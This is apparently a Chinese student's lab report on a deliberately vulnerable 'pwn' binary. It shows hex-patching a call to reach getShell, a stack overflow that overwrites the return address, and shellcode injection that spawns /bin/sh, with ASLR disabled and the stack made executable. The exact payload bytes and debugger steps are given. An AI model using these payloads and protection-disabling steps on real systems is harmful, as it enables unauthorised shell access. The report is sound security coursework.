20242943 2024-2025-2 《网络攻防实践》实践九报告
一.实践内容
(1)手工修改可执行文件pwn,改变程序执行流程,使其跳转到本不会被运行的getShell函数。 (2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。 (3)注入一个自己制作的shellcode并运行这段shellcode,触发getShell函数。二.实践过程
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(1)首先对这个可执行文件进行反汇编,命令为objdump -d pwn20242943 | more。
(2)当main函数执行到80484b5时,会执行机器指令e8 d7 ff ff ff,即执行汇编指令call 8048491,使程序跳转到foo函数。其中,e8是call的机器指令,8048491是foo函数的地址,d7 ff ff ff是它的偏移量。
当程序执行到EIP地址80484ba时,call指令跳转到foo函数的地址08048491,跳转的偏移量是ffffffd7。其中foo函数地址=EIP地址+偏移量,即08048491=80484ba+ffffffd7。
若要main函数调用getShell函数,需要修改call指令的目标地址,其中getShell函数的地址为0804847d。计算getshell函数的偏移量,getshell函数的地址是0804847d,0804847d-080484ba=ffffffc3,因此跳转到getshell函数所需的偏移量是ffffffc3。
因此若要改变程序的执行路径直接跳转到getshell函数,应该将e8 d7 ff ff ff改为e8 c3 ff ff ff。


(4)再次对这个文件进行反汇编,查看修改是否成功,如图所示,修改成功。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(1)首先分析foo函数,是可以得知foo函数在栈中预留了0x1c(28字节)大小的缓冲区,当输入字符串超出时便会发生缓冲区溢出,溢出部分将会覆盖get函数的起始地址。由于main函数先压入栈的栈底地址占了4个字节,因此我们要构造的字符串的重点应是在第33-36位,为getShell函数的地址0804847d。(2)使用perl工具生成字符串,生成的字符串包含getShell函数的地址0804847d,并将字符串重定向到一个文件当中。此外,还需要确定字节的顺序,因此需要构造两个字符串,分别为11111111222222223333333344444444\x08\x04\x84\x7d和11111111222222223333333344444444\x7d\x84\x04\x08。分别输入命令perl -e 'print "11111111222222223333333344444444\x08\x04\x84\x7d"' > swt20242943和perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > 20242943swt。


(3)将文件的内容作为输入,输入到pwn文件中,命令为(cat swt20242943; cat) | ./pwn20242943和 (cat 20242943swt; cat) | ./pwn20242943。可以看的第二个命令攻击成功。

3.注入一个自己制作的shellcode并运行这段shellcode。
(1)先安装一个工具execstack,命令为sudo apt-get install execstack。输入命令execstack -s pwn20242943,设置堆栈为可执行;输入命令execstack -q pwn20242943查询堆栈是否可执行,如图输出为X pwn20242943,即可执行;输入命令more /proc/sys/kernel/randomize_va_space查询地址随机化是否为开启状态,如图输出为2,即开启;输入命令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化,再次使用命令more /proc/sys/kernel/randomize_va_space查询地址随机化状态,输出为0,即已关闭。
(2)构造payload。输入命令perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' >shellcode20242943。创建一个shellcode输入文件。其中32个A是用来填充缓存区,\x1\x2\x3\x4为返回地址。
将shellcode20242943文件中的内容输入到pwn20242943之中,命令为(cat shellcode20242943; cat) | ./pwn20242943。
然后再开一个新终端,在新终端查看进程,命令为ps -ef | grep pwn20242943,如图进程号为6015。

(3)使用gdp进行调试,命令为attach 6015。

(4)使用命令disassemble foo,对foo函数进行反汇编。输入命令break *0x080484ae设置断点,再输入命令c,在正在运行的终端敲回车,到达断点。

(5)查看esp寄存器的值,命令为info r esp。

(6)再通过命令x/16x 0xffffd28c查看存放的内容。

(7)计算ffffd28c+00000004=ffffd290,因此shellcode中的返回地址换为\x90\xd2\xff\xff,再次运行命令,如图已经攻击成功。

三.学习中遇到的问题及解决
- 问题1:第二部分执行(cat ./swt20242943; cat) | ./pwn20242943和
(cat 20242943swt; cat) | ./pwn20242943命令时权限不够。 - 问题1解决方案:使用命令chmod u+x ./pwn20242943改变权限。

- 问题2:安装execstack工具失败。
- 问题2解决方案:镜像的问题,增加几个新的下载源就好了。
先使用sudo vim /etc/apt/sources.list命令打开源文件
在源文件中添加下面四行
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib
保存退出后更新一下。
sudo apt-get update
sudo apt-get upgrade

浙公网安备 33010602011771号